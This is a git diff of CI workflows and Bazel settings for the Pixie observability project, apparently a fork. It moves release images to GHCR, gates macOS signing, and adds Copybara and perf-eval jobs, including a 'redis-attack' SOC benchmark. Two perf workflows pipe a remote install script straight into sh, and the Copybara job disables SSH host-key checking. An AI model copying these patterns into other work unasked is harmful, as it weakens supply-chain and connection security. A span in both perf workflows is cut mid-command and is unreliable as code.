diff --git a/.bazelrc b/.bazelrc index b26aad0eec5..b33cfebf56b 100644 --- a/.bazelrc +++ b/.bazelrc @@ -1,10 +1,16 @@ # Global bazelrc file, see https://docs.bazel.build/versions/master/guide.html#bazelrc. +# Use local Cache directory if building on a VM: +# On Chef VM, create a directory and comment in the following line: +# build --disk_cache= # Optional for multi-user cache: Make this directory owned by a group name e.g. "bazelcache" common --noenable_bzlmod --enable_workspace # Use strict action env to prevent leaks of env vars. build --incompatible_strict_action_env +# Use cache +# build --disk_cache=/tmp/bazel/cache # must not be merged dev only settng + # Only pass through GH_API_KEY for stamped builds. # This is still not ideal as it still busts the cache of stamped builds. build:stamp --stamp @@ -174,7 +180,7 @@ build:tsan --define tcmalloc=disabled # https://github.com/google/sanitizers/issues/953 build:tsan --test_env=TSAN_OPTIONS=report_atomic_races=0 build:tsan --features=tsan -test:tsan --test_timeout=180,600,1800,3600 +test:tsan --test_timeout=240,600,1800,3600 # Note that we are lumping tests that require root into the BPF tests below # to minimize number of configs. diff --git a/.github/workflows/build_and_test.yaml b/.github/workflows/build_and_test.yaml index 58d51489c78..13c070af423 100644 --- a/.github/workflows/build_and_test.yaml +++ b/.github/workflows/build_and_test.yaml @@ -85,7 +85,7 @@ jobs: run: | # Github actions container runner creates a docker network without IPv6 support. We enable it manually. sysctl -w net.ipv6.conf.lo.disable_ipv6=0 - ./ci/collect_coverage.sh -u -b main -c "$(git rev-parse HEAD)" -r pixie-io/pixie + ./ci/collect_coverage.sh -u -b main -c "$(git rev-parse HEAD)" -r ${{ github.repository }} generate-matrix: needs: [authorize, env-protect-setup, get-dev-image] runs-on: oracle-vm-16cpu-64gb-x86-64 diff --git a/.github/workflows/cacher.yaml b/.github/workflows/cacher.yaml index 584360a5ff3..e760c1ea4af 100644 --- a/.github/workflows/cacher.yaml +++ b/.github/workflows/cacher.yaml @@ -12,7 +12,7 @@ jobs: with: image-base-name: "dev_image" populate-caches: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/.github/workflows/cli_release.yaml b/.github/workflows/cli_release.yaml index ba7a5101002..192ba13510b 100644 --- a/.github/workflows/cli_release.yaml +++ b/.github/workflows/cli_release.yaml @@ -17,10 +17,15 @@ jobs: name: Build Release runs-on: oracle-16cpu-64gb-x86-64 needs: get-dev-image + permissions: + contents: read + packages: write container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} env: ARTIFACT_UPLOAD_LOG: "artifact_uploads.json" + # When macOS signing is enabled, push-signed-artifacts owns the manifest update. + MANIFEST_UPDATES: ${{ vars.ENABLE_MACOS_SIGNING == 'true' && '' || 'manifest_updates.json' }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: @@ -42,10 +47,12 @@ jobs: BUILDBOT_GPG_KEY_B64: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} run: | echo "${BUILDBOT_GPG_KEY_B64}" | base64 --decode | gpg --no-tty --batch --import - - id: gcloud-creds - uses: ./.github/actions/gcloud_creds + - name: Login to GHCR + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: - SERVICE_ACCOUNT_KEY: ${{ secrets.GH_RELEASE_SA_PEM_B64 }} + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ github.token }} - name: Build & Push Artifacts env: REF: ${{ github.event.ref }} @@ -53,7 +60,8 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} BUILD_NUMBER: ${{ github.run_attempt }} JOB_NAME: ${{ github.job }} - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} + GH_REPO: ${{ github.repository }} + IMAGE_REPO: ${{ vars.IMAGE_REPO || 'ghcr.io/pixie-io' }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" @@ -61,24 +69,26 @@ jobs: export ARTIFACTS_DIR="$(realpath artifacts/)" ./ci/save_version_info.sh ./ci/cli_build_release.sh + # Despite the name, linux-artifacts also contains the unsigned darwin + # binaries (cli_darwin_{amd64,arm64}_unsigned). sign-release downloads + # this artifact to feed cli_merge_sign.sh. - name: Upload Github Artifacts uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: linux-artifacts path: artifacts/ - - name: Update GCS Manifest - env: - ARTIFACT_MANIFEST_BUCKET: "pixie-dev-public" - # Use the old style versions file instead of the new updates for the gcs manifest. - MANIFEST_UPDATES: "" - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} - run: ./ci/update_artifact_manifest.sh - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: artifact-upload-log path: ${{ env.ARTIFACT_UPLOAD_LOG }} + - if: vars.ENABLE_MACOS_SIGNING != 'true' + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + with: + name: manifest-updates + path: manifest_updates.json sign-release: name: Sign Release for MacOS + if: vars.ENABLE_MACOS_SIGNING == 'true' runs-on: macos-latest needs: build-release steps: @@ -87,6 +97,10 @@ jobs: fetch-depth: 0 - name: Add pwd to git safe dir run: git config --global --add safe.directory `pwd` + - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 + with: + name: linux-artifacts + path: artifacts/ - name: Install gon run: brew install Bearer/tap/gon - name: Sign CLI release @@ -101,7 +115,6 @@ jobs: export CERT_PATH="pixie.cert" echo -n "$CERT_BASE64" | base64 --decode -o "$CERT_PATH" export TAG_NAME="${REF#*/tags/}" - mkdir -p "artifacts/" export ARTIFACTS_DIR="$(pwd)/artifacts" ./ci/cli_merge_sign.sh - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 @@ -110,6 +123,7 @@ jobs: path: artifacts/ push-signed-artifacts: name: Push Signed Artifacts for MacOS + if: vars.ENABLE_MACOS_SIGNING == 'true' runs-on: ubuntu-latest needs: [get-dev-image, sign-release] container: @@ -131,10 +145,6 @@ jobs: BUILDBOT_GPG_KEY_B64: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} run: | echo "${BUILDBOT_GPG_KEY_B64}" | base64 --decode | gpg --no-tty --batch --import - - id: gcloud-creds - uses: ./.github/actions/gcloud_creds - with: - SERVICE_ACCOUNT_KEY: ${{ secrets.GH_RELEASE_SA_PEM_B64 }} - name: Add pwd to git safe dir run: | git config --global --add safe.directory `pwd` @@ -142,8 +152,8 @@ jobs: env: REF: ${{ github.event.ref }} BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} ARTIFACT_UPLOAD_LOG: "artifact_uploads.json" + GH_REPO: ${{ github.repository }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" @@ -161,7 +171,11 @@ jobs: create-github-release: name: Create Release on Github runs-on: ubuntu-latest - needs: push-signed-artifacts + needs: [build-release, push-signed-artifacts] + if: | + always() && + needs.build-release.result == 'success' && + (needs.push-signed-artifacts.result == 'success' || needs.push-signed-artifacts.result == 'skipped') permissions: contents: write steps: @@ -186,8 +200,15 @@ jobs: gh release create "${TAG_NAME}" "${prerelease[@]}" \ --title "CLI ${TAG_NAME#release/cli/}" \ --notes $'Pixie CLI Release:\n'"${changelog}" - gh release upload "${TAG_NAME}" linux-artifacts/* macos-artifacts/* + shopt -s nullglob + upload_paths=(linux-artifacts/*) + if [[ -d macos-artifacts ]]; then + upload_paths+=(macos-artifacts/*) + fi + gh release upload "${TAG_NAME}" "${upload_paths[@]}" update-gh-artifacts-manifest: + if: | + always() && needs.create-github-release.result == 'success' runs-on: oracle-8cpu-32gb-x86-64 needs: [get-dev-image, create-github-release] container: @@ -217,8 +238,8 @@ jobs: env: BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} run: | - git config --global user.name 'pixie-io-buildbot' - git config --global user.email 'build@pixielabs.ai' + git config --global user.name "${{ vars.BUILDBOT_NAME || 'pixie-io-buildbot' }}" + git config --global user.email "${{ vars.BUILDBOT_EMAIL || 'build@pixielabs.ai' }}" git config --global user.signingkey "${BUILDBOT_GPG_KEY_ID}" git config --global commit.gpgsign true - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 diff --git a/.github/workflows/cloud_release.yaml b/.github/workflows/cloud_release.yaml index ff49ea2cf35..039367b2682 100644 --- a/.github/workflows/cloud_release.yaml +++ b/.github/workflows/cloud_release.yaml @@ -17,6 +17,9 @@ jobs: name: Build Release runs-on: oracle-16cpu-64gb-x86-64 needs: get-dev-image + permissions: + contents: read + packages: write container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} steps: @@ -30,15 +33,17 @@ jobs: with: download_toplevel: 'true' BB_API_KEY: ${{ secrets.BB_IO_API_KEY }} - - id: gcloud-creds - uses: ./.github/actions/gcloud_creds - with: - SERVICE_ACCOUNT_KEY: ${{ secrets.GH_RELEASE_SA_PEM_B64 }} - name: Import GPG key env: BUILDBOT_GPG_KEY_B64: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} run: | echo "${BUILDBOT_GPG_KEY_B64}" | base64 --decode | gpg --no-tty --batch --import + - name: Login to GHCR + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ github.token }} - name: Build & Push Artifacts env: REF: ${{ github.event.ref }} @@ -47,8 +52,9 @@ jobs: GH_API_KEY: ${{ secrets.GITHUB_TOKEN }} COSIGN_PASSWORD: ${{secrets.COSIGN_PASSWORD}} COSIGN_PRIVATE_KEY: ${{secrets.COSIGN_PRIVATE_KEY}} - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} + IMAGE_REPO: ${{ vars.IMAGE_REPO || 'ghcr.io/pixie-io' }} + GH_REPO: ${{ github.repository }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" @@ -76,8 +82,7 @@ jobs: env: REF: ${{ github.event.ref }} GH_TOKEN: ${{ secrets.BUILDBOT_GH_API_TOKEN }} - OWNER: pixie-io - REPO: pixie + GH_REPO: ${{ github.repository }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" diff --git a/.github/workflows/codeql.yaml b/.github/workflows/codeql.yaml index 20dc5700ef8..02197af2a75 100644 --- a/.github/workflows/codeql.yaml +++ b/.github/workflows/codeql.yaml @@ -28,7 +28,7 @@ jobs: with: category: "/language:go" analyze-python: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 permissions: actions: read contents: read @@ -42,7 +42,7 @@ jobs: with: category: "/language:python" analyze-javascript: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 permissions: actions: read contents: read diff --git a/.github/workflows/copybara_pixie_oss.yaml b/.github/workflows/copybara_pixie_oss.yaml new file mode 100644 index 00000000000..29df21d186c --- /dev/null +++ b/.github/workflows/copybara_pixie_oss.yaml @@ -0,0 +1,29 @@ +--- +name: pixie-oss-copybara +on: + workflow_dispatch: + schedule: + - cron: '0 15 * * *' +permissions: + contents: read +jobs: + run-copybara: + runs-on: ubuntu-latest + container: + # image built from upstream's 9675cc2a commit with ssh added + image: ghcr.io/k8sstormcenter/copybara:9675cc2a-ssh + steps: + - uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v3.5.0 + - id: create-ssh-key + env: + COPYBARA_SSH_KEY: ${{ secrets.COPYBARA_SSH_KEY }} + run: echo "$COPYBARA_SSH_KEY" > /tmp/sshkey && chmod 600 /tmp/sshkey + - id: pxapi-copybara + env: + COPYBARA_GPG_KEY: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} + COPYBARA_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} + # 9ae660bce072d1bc1dfbbddada333c88333f4a9a is when fork started + # This is only needed for the first copybara run (supplied via --last-rev ${sha} flag) + run: > + GIT_SSH_COMMAND='ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/sshkey' + ./ci/private/run_copybara.sh tools/private/copybara/copy.bara.sky diff --git a/.github/workflows/operator_release.yaml b/.github/workflows/operator_release.yaml index d5db686663d..947b1f00006 100644 --- a/.github/workflows/operator_release.yaml +++ b/.github/workflows/operator_release.yaml @@ -17,6 +17,9 @@ jobs: name: Build Release runs-on: oracle-16cpu-64gb-x86-64 needs: get-dev-image + permissions: + contents: read + packages: write container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} env: @@ -33,15 +36,17 @@ jobs: with: download_toplevel: 'true' BB_API_KEY: ${{ secrets.BB_IO_API_KEY }} - - id: gcloud-creds - uses: ./.github/actions/gcloud_creds - with: - SERVICE_ACCOUNT_KEY: ${{ secrets.GH_RELEASE_SA_PEM_B64 }} - name: Import GPG key env: BUILDBOT_GPG_KEY_B64: ${{ secrets.BUILDBOT_GPG_KEY_B64 }} run: | echo "${BUILDBOT_GPG_KEY_B64}" | base64 --decode | gpg --no-tty --batch --import + - name: Login to GHCR + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ github.token }} - name: Build & Push Artifacts env: REF: ${{ github.event.ref }} @@ -49,9 +54,9 @@ jobs: JOB_NAME: ${{ github.job }} COSIGN_PASSWORD: ${{secrets.COSIGN_PASSWORD}} COSIGN_PRIVATE_KEY: ${{secrets.COSIGN_PRIVATE_KEY}} - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} GH_REPO: ${{ github.repository }} BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} + IMAGE_REPO: ${{ vars.IMAGE_REPO || 'ghcr.io/pixie-io' }} shell: bash run: | export TAG_NAME="${REF#*/tags/}" @@ -60,13 +65,6 @@ jobs: mkdir -p "${ARTIFACTS_DIR}" ./ci/save_version_info.sh ./ci/operator_build_release.sh - - name: Update GCS Manifest - env: - ARTIFACT_MANIFEST_BUCKET: "pixie-dev-public" - # Use the old style versions file instead of the new updates for the gcs manifest. - MANIFEST_UPDATES: "" - GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} - run: ./ci/update_artifact_manifest.sh - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: manifest-updates @@ -127,8 +125,8 @@ jobs: env: GIT_SSH_COMMAND: "ssh -i /tmp/ssh.key" run: | - git config --global user.name 'pixie-io-buildbot' - git config --global user.email 'build@pixielabs.ai' + git config --global user.name "${{ vars.BUILDBOT_NAME || 'pixie-io-buildbot' }}" + git config --global user.email "${{ vars.BUILDBOT_EMAIL || 'build@pixielabs.ai' }}" - name: Push Helm YAML to gh-pages shell: bash env: @@ -171,8 +169,8 @@ jobs: env: BUILDBOT_GPG_KEY_ID: ${{ secrets.BUILDBOT_GPG_KEY_ID }} run: | - git config --global user.name 'pixie-io-buildbot' - git config --global user.email 'build@pixielabs.ai' + git config --global user.name "${{ vars.BUILDBOT_NAME || 'pixie-io-buildbot' }}" + git config --global user.email "${{ vars.BUILDBOT_EMAIL || 'build@pixielabs.ai' }}" git config --global user.signingkey "${BUILDBOT_GPG_KEY_ID}" git config --global commit.gpgsign true - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 diff --git a/.github/workflows/perf_clickhouse.yaml b/.github/workflows/perf_clickhouse.yaml new file mode 100644 index 00000000000..483b194f2fe --- /dev/null +++ b/.github/workflows/perf_clickhouse.yaml @@ -0,0 +1,150 @@ +--- +name: perf-eval-clickhouse +on: + workflow_dispatch: + inputs: + ref: + description: 'Branch or commit' + required: false + type: string + tags: + description: 'Tags (comma separated)' + required: false + type: string +permissions: + contents: read + packages: write +jobs: + get-dev-image-with-extras: + uses: ./.github/workflows/get_image.yaml + with: + image-base-name: "dev_image_with_extras" + ref: ${{ inputs.ref }} + + clickhouse-export-perf: + name: ClickHouse export perf eval + needs: get-dev-image-with-extras + runs-on: oracle-vm-16cpu-64gb-x86-64 + container: + image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }} + options: --cap-add=NET_ADMIN --device=/dev/net/tun + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ inputs.ref }} + fetch-depth: 0 + - name: Add pwd to git safe dir + run: git config --global --add safe.directory `pwd` + - id: get-commit-sha + run: echo "commit-sha=$(git rev-parse --short HEAD)" >> $GITHUB_OUTPUT + + # TODO(ddelnano): swap TAILSCALE_AUTH_KEY for an OAuth client once one is + # provisioned in the k8sstormcenter tailnet. Use + # `tailscale/github-action@v2` with `oauth-client-id` and `oauth-secret` + # inputs (`TS_OAUTH_CLIENT_ID` / `TS_OAUTH_CLIENT_SECRET` secrets) so + # credentials rotate automatically instead of expiring on a fixed cadence. + - name: Start Tailscale sidecar + env: + TS_AUTHKEY: ${{ secrets.TAILSCALE_AUTH_KEY }} + run: | + curl -fsSL https://tailscale.com/install.sh | sh + mkdir -p /var/run/tailscale /var/lib/tailscale + tailscaled \ + --socket=/var/run/tailscale/tailscaled.sock \ + --state=/var/lib/tailscale/tailscaled.state & + until tailscale status --json >/dev/null 2>&1; do sleep 1; done + tailscale up \ + --authkey="${TS_AUTHKEY}" \ + --accept-routes \ + --hostname="pixie-perf-ci-${GITHUB_RUN_ID}" + + - name: Write kubeconfig + env: + KUBECONFIG_B64: ${{ secrets.KUBECONFIG_B64 }} + run: | + mkdir -p "${RUNNER_TEMP}" + echo "${KUBECONFIG_B64}" | base64 -d > "${RUNNER_TEMP}/kubeconfig" + chmod 600 "${RUNNER_TEMP}/kubeconfig" + + # Fail fast if Tailscale can't reach the cluster API, before the 2+ minute + # bazel/skaffold build wastes time. + - name: Tailscale connectivity probe + env: + KUBECONFIG: ${{ runner.temp }}/kubeconfig + run: | + tailscale status + tailscale netcheck + api_host="$(kubectl --kubeconfig="$KUBECONFIG" config view --minify -o jsonpath='{.clusters[0].cluster.server}' | sed -E 's|https?://||; s|/.*||')" + api_ip="${api_host%%:*}" + api_port="${api_host##*:}" + echo "--- tailscale ping ${api_ip} ---" + tailscale ping --c 3 --until-direct=false "${api_ip}" || true + echo "--- tcp probe ${api_ip}:${api_port} ---" + timeout 5 bash -c " /tmp/gcloud.json + chmod 600 /tmp/gcloud.json + echo "gcloud-creds=/tmp/gcloud.json" >> $GITHUB_OUTPUT + - name: Activate gcloud service account + env: + GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} + run: | + service_account="$(jq -r '.client_email' "$GOOGLE_APPLICATION_CREDENTIALS")" + gcloud auth activate-service-account "${service_account}" --key-file="$GOOGLE_APPLICATION_CREDENTIALS" + gcloud auth configure-docker + + - name: Log in to GHCR + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: echo "${GH_TOKEN}" | docker login ghcr.io -u "${{ github.actor }}" --password-stdin + + - name: Build and install px CLI + run: | + bazel build //src/pixie_cli:px + install -m 0755 bazel-bin/src/pixie_cli/px_/px /usr/local/bin/px + px version + + - name: Run clickhouse-export perf + env: + PX_API_KEY: ${{ secrets.PX_API_KEY }} + GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} + KUBECONFIG: ${{ runner.temp }}/kubeconfig + run: | + bazel run //src/e2e_test/perf_tool:perf_tool -- run \ + --api_key="${PX_API_KEY}" \ + --cloud_addr=${{ vars.PERF_CLOUD_ADDR }} \ + --commit_sha="${{ steps.get-commit-sha.outputs.commit-sha }}" \ + --experiment_name=clickhouse-export \ + --suite=clickhouse-exec \ + --use_local_cluster \ + --export_backend=parquet-gcs \ + --gcs_bucket=k8sstormcenter-soc-perf \ + --container_repo=ghcr.io/k8sstormcenter \ + --prom_recorder_override 'clickhouse-operator=:k8ss-forensic' \ + --tags "${{ inputs.tags }}" + + - name: Deactivate gcloud service account + if: always() + run: gcloud auth revoke || true + + - name: Tailscale logout + if: always() + run: tailscale logout || true diff --git a/.github/workflows/perf_soc_attack.yaml b/.github/workflows/perf_soc_attack.yaml new file mode 100644 index 00000000000..38f18a20562 --- /dev/null +++ b/.github/workflows/perf_soc_attack.yaml @@ -0,0 +1,157 @@ +--- +name: perf-eval-soc-attack +on: + workflow_dispatch: + inputs: + ref: + description: 'Branch or commit' + required: false + type: string + tags: + description: 'Tags (comma separated)' + required: false + type: string +permissions: + contents: read + packages: write +jobs: + get-dev-image-with-extras: + uses: ./.github/workflows/get_image.yaml + with: + image-base-name: "dev_image_with_extras" + ref: ${{ inputs.ref }} + + soc-attack-perf: + name: Sovereign SOC redis-attack perf eval + needs: get-dev-image-with-extras + runs-on: oracle-vm-16cpu-64gb-x86-64 + container: + image: ${{ needs.get-dev-image-with-extras.outputs.image-with-tag }} + options: --cap-add=NET_ADMIN --device=/dev/net/tun + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ inputs.ref }} + fetch-depth: 0 + - name: Add pwd to git safe dir + run: git config --global --add safe.directory `pwd` + - id: get-commit-sha + run: echo "commit-sha=$(git rev-parse --short HEAD)" >> $GITHUB_OUTPUT + + # TODO(ddelnano): swap TAILSCALE_AUTH_KEY for an OAuth client once one is + # provisioned in the k8sstormcenter tailnet. Use + # `tailscale/github-action@v2` with `oauth-client-id` and `oauth-secret` + # inputs (`TS_OAUTH_CLIENT_ID` / `TS_OAUTH_CLIENT_SECRET` secrets) so + # credentials rotate automatically instead of expiring on a fixed cadence. + - name: Start Tailscale sidecar + env: + TS_AUTHKEY: ${{ secrets.TAILSCALE_AUTH_KEY }} + run: | + curl -fsSL https://tailscale.com/install.sh | sh + mkdir -p /var/run/tailscale /var/lib/tailscale + tailscaled \ + --socket=/var/run/tailscale/tailscaled.sock \ + --state=/var/lib/tailscale/tailscaled.state & + until tailscale status --json >/dev/null 2>&1; do sleep 1; done + tailscale up \ + --authkey="${TS_AUTHKEY}" \ + --accept-routes \ + --hostname="pixie-perf-ci-${GITHUB_RUN_ID}" + + - name: Write kubeconfig + env: + KUBECONFIG_B64: ${{ secrets.KUBECONFIG_B64 }} + run: | + mkdir -p "${RUNNER_TEMP}" + echo "${KUBECONFIG_B64}" | base64 -d > "${RUNNER_TEMP}/kubeconfig" + chmod 600 "${RUNNER_TEMP}/kubeconfig" + + # Fail fast if Tailscale can't reach the cluster API, before the 2+ minute + # bazel/skaffold build wastes time. + - name: Tailscale connectivity probe + env: + KUBECONFIG: ${{ runner.temp }}/kubeconfig + run: | + tailscale status + tailscale netcheck + api_host="$(kubectl --kubeconfig="$KUBECONFIG" config view --minify -o jsonpath='{.clusters[0].cluster.server}' | sed -E 's|https?://||; s|/.*||')" + api_ip="${api_host%%:*}" + api_port="${api_host##*:}" + echo "--- tailscale ping ${api_ip} ---" + tailscale ping --c 3 --until-direct=false "${api_ip}" || true + echo "--- tcp probe ${api_ip}:${api_port} ---" + timeout 5 bash -c " /tmp/gcloud.json + chmod 600 /tmp/gcloud.json + echo "gcloud-creds=/tmp/gcloud.json" >> $GITHUB_OUTPUT + - name: Activate gcloud service account + env: + GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} + run: | + service_account="$(jq -r '.client_email' "$GOOGLE_APPLICATION_CREDENTIALS")" + gcloud auth activate-service-account "${service_account}" --key-file="$GOOGLE_APPLICATION_CREDENTIALS" + gcloud auth configure-docker + + - name: Log in to GHCR + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: echo "${GH_TOKEN}" | docker login ghcr.io -u "${{ github.actor }}" --password-stdin + + - name: Build and install px CLI + run: | + bazel build --config=x86_64_sysroot //src/pixie_cli:px + install -m 0755 bazel-bin/src/pixie_cli/px_/px /usr/local/bin/px + px version + + # The sovereign-soc suite installs Kubescape + Vector on the experiment + # cluster as part of the run (see KubescapeVectorWorkload). The + # kubescape-operator chart is pre-rendered under + # src/e2e_test/perf_tool/pkg/suites/k8s/sovereign-soc/helm-rendered/ + # and applied via PrerenderedDeploy, so no extra ./scripts step is needed. + # + # ClickHouse operator metrics are scraped on the forensic cluster via + # the prom_recorder_override; the kubescape node-agent prom recorder + # is intentionally NOT overridden — kubescape runs on the experiment + # cluster (where redis+bobctl drive traffic), so the recorder uses the + # default kubeconfig. + - name: Run sovereign-soc redis-attack perf + env: + PX_API_KEY: ${{ secrets.PX_API_KEY }} + GOOGLE_APPLICATION_CREDENTIALS: ${{ steps.gcloud-creds.outputs.gcloud-creds }} + KUBECONFIG: ${{ runner.temp }}/kubeconfig + run: | + bazel run //src/e2e_test/perf_tool:perf_tool -- run \ + --api_key="${PX_API_KEY}" \ + --cloud_addr=pixie.austrianopencloudcommunity.org:443 \ + --commit_sha="${{ steps.get-commit-sha.outputs.commit-sha }}" \ + --experiment_name=redis-attack \ + --suite=sovereign-soc \ + --use_local_cluster \ + --export_backend=parquet-gcs \ + --gcs_bucket=k8sstormcenter-soc-perf \ + --container_repo=ghcr.io/k8sstormcenter \ + --prom_recorder_override 'clickhouse-operator=:k8ss-forensic' \ + --tags "${{ inputs.tags }}" + + - name: Tailscale logout + if: always() + run: tailscale logout || true diff --git a/.github/workflows/pr_3p_deps.yaml b/.github/workflows/pr_3p_deps.yaml deleted file mode 100644 index 4f5ceb23a43..00000000000 --- a/.github/workflows/pr_3p_deps.yaml +++ /dev/null @@ -1,21 +0,0 @@ ---- -name: 'pr-third-party-deps' -on: - pull_request: -permissions: - contents: read -concurrency: - group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }} - cancel-in-progress: true -jobs: - dependency-review: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - - uses: actions/dependency-review-action@3b139cfc5fae8b618d3eae3675e383bb1769c019 # v4.5.0 - with: - # Refer to the following for the allowlist. - # https://github.com/cncf/foundation/blob/main/allowed-third-party-license-policy.md#approved-licenses-for-allowlist - allow-licenses: >- - Apache-2.0, BSD-2-Clause, BSD-2-Clause-FreeBSD, BSD-3-Clause, - MIT, ISC, Python-2.0, PostgreSQL, X11, Zlib diff --git a/.github/workflows/pr_genfiles.yml b/.github/workflows/pr_genfiles.yml index 69c1b080a0e..54b5b0c0512 100644 --- a/.github/workflows/pr_genfiles.yml +++ b/.github/workflows/pr_genfiles.yml @@ -13,7 +13,7 @@ jobs: with: image-base-name: "dev_image" run-genfiles: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/.github/workflows/pr_linter.yml b/.github/workflows/pr_linter.yml index 9769777a618..8fbf32bdfe3 100644 --- a/.github/workflows/pr_linter.yml +++ b/.github/workflows/pr_linter.yml @@ -13,7 +13,7 @@ jobs: with: image-base-name: "linter_image" run-container-lint: - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-linter-image container: image: ${{ needs.get-linter-image.outputs.image-with-tag }} diff --git a/.github/workflows/release_update_docs_px_dev.yaml b/.github/workflows/release_update_docs_px_dev.yaml index 2efec3b6445..a074e9587e3 100644 --- a/.github/workflows/release_update_docs_px_dev.yaml +++ b/.github/workflows/release_update_docs_px_dev.yaml @@ -13,7 +13,7 @@ jobs: image-base-name: "dev_image_with_extras" generate-docs: needs: get-dev-image - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} steps: diff --git a/.github/workflows/trivy_fs.yaml b/.github/workflows/trivy_fs.yaml index 6e43472a835..b1edec30f2f 100644 --- a/.github/workflows/trivy_fs.yaml +++ b/.github/workflows/trivy_fs.yaml @@ -23,7 +23,9 @@ jobs: security-events: write steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - - uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # v0.29.0 + # v0.36.0 released 2026-04-22 (post-incident). Internally SHA-pins + # setup-trivy@3fb12ec = Aqua's safe v0.2.6 per GHSA-69fq-xp46-6x23. + - uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0 with: scan-type: 'fs' ignore-unfixed: true diff --git a/.github/workflows/trivy_images.yaml b/.github/workflows/trivy_images.yaml index 5e25f4746b9..97a91fbee26 100644 --- a/.github/workflows/trivy_images.yaml +++ b/.github/workflows/trivy_images.yaml @@ -18,7 +18,7 @@ jobs: fail-fast: false matrix: artifact: [cloud, operator, vizier] - runs-on: oracle-8cpu-32gb-x86-64 + runs-on: oracle-vm-16cpu-64gb-x86-64 needs: get-dev-image container: image: ${{ needs.get-dev-image.outputs.image-with-tag }} diff --git a/.github/workflows/vizier_release.yaml b/.github/workflows/vizier_release.yaml index 12d722cfaf4..ce4f18035e5 100644 --- a/.github/workflows/vizier_release.yaml +++ b/.github/workflows/vizier_release.yaml @@ -15,8 +15,11 @@ jobs: image-base-name: 